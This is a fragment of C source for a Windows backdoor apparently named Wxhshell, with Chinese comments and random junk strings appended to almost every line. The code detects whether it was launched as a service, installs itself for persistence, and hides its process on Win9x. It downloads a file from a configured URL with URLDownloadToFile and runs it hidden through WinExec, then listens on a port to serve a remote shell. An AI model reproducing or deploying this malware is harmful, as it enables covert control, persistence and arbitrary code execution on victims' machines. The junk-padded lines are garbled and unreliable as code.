DWORD AffinityMask; D>#Jh>4
DWORD BasePriority; 9LEUj
ULONG UniqueProcessId; $<wU>X
ULONG InheritedFromUniqueProcessId; K0^+2lx
} PROCESS_BASIC_INFORMATION; >*w(YB]/$V
d cht8nX7~
PROCNTQSIP NtQueryInformationProcess; %cc<>Hi
wd:SBU~f5*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vP<8,XG
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \]/6>yT
$_Lcw"xO
HANDLE hProcess; \4q1<j
PROCESS_BASIC_INFORMATION pbi; e3&.RrA
j"+R*H(#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n]Jfd I
if(NULL == hInst ) return 0; +>h'^/rAE
vw
q Y;7
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5|[\Se#
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BYDOTy/%nJ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oX]c$<w5
"6'# L,
if (!NtQueryInformationProcess) return 0; :'dH)yO
7^8<[8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \h/aD1&g
if(!hProcess) return 0; 0wl31k{
v/Ei0}e6~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !U+XIr
a_(vpD^
CloseHandle(hProcess); Yg7C"3;Vt
Q,f5r%A.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *j=
whdw%J
if(hProcess==NULL) return 0; 2:S
4M.j
;-sF%c
HMODULE hMod; Hb *&&
char procName[255]; &@D,|kHk
unsigned long cbNeeded; "^iw {]~U
4~{q=-]V
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A=k{Rl{LA
ddjaM/.E
CloseHandle(hProcess); F0 FF:><
Hq$?-%4
if(strstr(procName,"services")) return 1; // 以服务启动 Co>=<\yi
kO\aNtK
return 0; // 注册表启动 O7RW*V:G@
} {7X80KI
D7x"P-ie
// 主模块 HTCn=MZm
?
int StartWxhshell(LPSTR lpCmdLine) >'lte&
{ -5yEd>Z
SOCKET wsl; 3+jqf@ fO
BOOL val=TRUE; 9a9{OJa6M
int port=0; UYb:q
struct sockaddr_in door; rfMzHY}%
MY}B)`yx=
if(wscfg.ws_autoins) Install(); Ey;uaqt
[&
&9F};
port=atoi(lpCmdLine); P\CT|K'P
RoWGQney
if(port<=0) port=wscfg.ws_port; pTJJ.#$CEF
h{cJ S9e}
WSADATA data; toCT5E_0=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *<_8]C0>
FCEFg)c5=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; paW7.~3
R
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +O@0gl
door.sin_family = AF_INET; oUBn:Ir@
door.sin_addr.s_addr = inet_addr("127.0.0.1"); uD''0G\
door.sin_port = htons(port); <J QvuC
jsG
epi9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZK@ENfG
closesocket(wsl); H?>R#Ds-
return 1; <OEu 4,~:
} ?8Hr
9
!8U\GR `
if(listen(wsl,2) == INVALID_SOCKET) { Ytnk^/Z1L
closesocket(wsl); |^i+Srh
return 1; bEE'50D
} i7w>Nvj]
Wxhshell(wsl); E(oI0*S.5
WSACleanup(); 7x^P 74
58Fan*fO
return 0; z\8Kz ]n~
F\Gi;6a
} :)\<
]QS?fs Z
// 以NT服务方式启动 tQ:)j^\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ln})\
UDK)
{ xCMcS~
3/
DWORD status = 0; /gKX%`ZF/r
DWORD specificError = 0xfffffff; !(soMv
["\Y-6"l
serviceStatus.dwServiceType = SERVICE_WIN32; iii2nmiK
serviceStatus.dwCurrentState = SERVICE_START_PENDING; q(J3fjY)
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nDSmr
serviceStatus.dwWin32ExitCode = 0; (JHL0Z/
serviceStatus.dwServiceSpecificExitCode = 0; 0BM3:]=wr
serviceStatus.dwCheckPoint = 0; )q\|f_
serviceStatus.dwWaitHint = 0; ~ b;%J:
v'*#P7%Kf
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g,!6,v@
if (hServiceStatusHandle==0) return; ^[SQw)*
N4Z%8:"pj
status = GetLastError(); uf (`I
if (status!=NO_ERROR) 9BPucXK
{ #AzZ4<;7
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2#:h.8
serviceStatus.dwCheckPoint = 0; "3A.x1uQ
serviceStatus.dwWaitHint = 0; DDT)l+: XP
serviceStatus.dwWin32ExitCode = status; <3iL5}
serviceStatus.dwServiceSpecificExitCode = specificError; #$QC2;/)F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >v9 ("
return; k"V| f&
} l Ud/^u`
Ms. 1RCup
serviceStatus.dwCurrentState = SERVICE_RUNNING; `)FSJV1
serviceStatus.dwCheckPoint = 0; t%wC~1
serviceStatus.dwWaitHint = 0; vJT
%ET
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c@%:aiEl
} X/fk&Cp
y8uB>z+#+;
// 处理NT服务事件,比如:启动、停止 t/\J
VOID WINAPI NTServiceHandler(DWORD fdwControl) ++Qg5FukR
{ gf^"sfNk
switch(fdwControl) @54D<Lj
{ MMglo3
case SERVICE_CONTROL_STOP: jiMI&cl
serviceStatus.dwWin32ExitCode = 0; &
Me%ZM0
serviceStatus.dwCurrentState = SERVICE_STOPPED; *4;MO2g
serviceStatus.dwCheckPoint = 0; VQO6!ToKY
serviceStatus.dwWaitHint = 0; *wcb 5p
{ PK@hf[YHe
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B(x i
} ^<#08L;
return; /ov&h;
case SERVICE_CONTROL_PAUSE: FV>LD% uu
serviceStatus.dwCurrentState = SERVICE_PAUSED; )pV5l|`
break; <)L'h
case SERVICE_CONTROL_CONTINUE: gN|[n.W4
serviceStatus.dwCurrentState = SERVICE_RUNNING; A"8`5qa
break; ,c#=qb8""
case SERVICE_CONTROL_INTERROGATE: uI^E9r/hB
break; ;H5PiSq;z
}; /pZ]:.A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \-Mzs 0R
} mdW8RsR
V8w!yc
// 标准应用程序主函数 1H{M0e
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6H,n?[zTt
{ A\9QgM
R87-L*9B^0
// 获取操作系统版本 xwr<ib:
OsIsNt=GetOsVer(); i>w'$ {
GetModuleFileName(NULL,ExeFile,MAX_PATH); #;?j]npg]
YoV^Y&:9<
// 从命令行安装 y~CK&[H
if(strpbrk(lpCmdLine,"iI")) Install(); AOhfQ:E 4
Ly1V@
// 下载执行文件 oqa]iBO
if(wscfg.ws_downexe) { E(F<shT#
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LwQq0<v
WinExec(wscfg.ws_filenam,SW_HIDE); r]p
0O(
} (a0q*iC%
5T)qn`%
if(!OsIsNt) { -z9-f\
// 如果时win9x,隐藏进程并且设置为注册表启动 4hb<EH'_&
HideProc(); kYBy\
StartWxhshell(lpCmdLine); t(YrF,
} j^
VAA\
else _zq"<Q c
if(StartFromService())
~{7/v
// 以服务方式启动 kZXsL
StartServiceCtrlDispatcher(DispatchTable); s*<\mwB
else 8C1 ' g7A<
// 普通方式启动 ;*K@8GnU
StartWxhshell(lpCmdLine); ]03+8#J
j3`#v3
return 0; v|:2U8YREf
}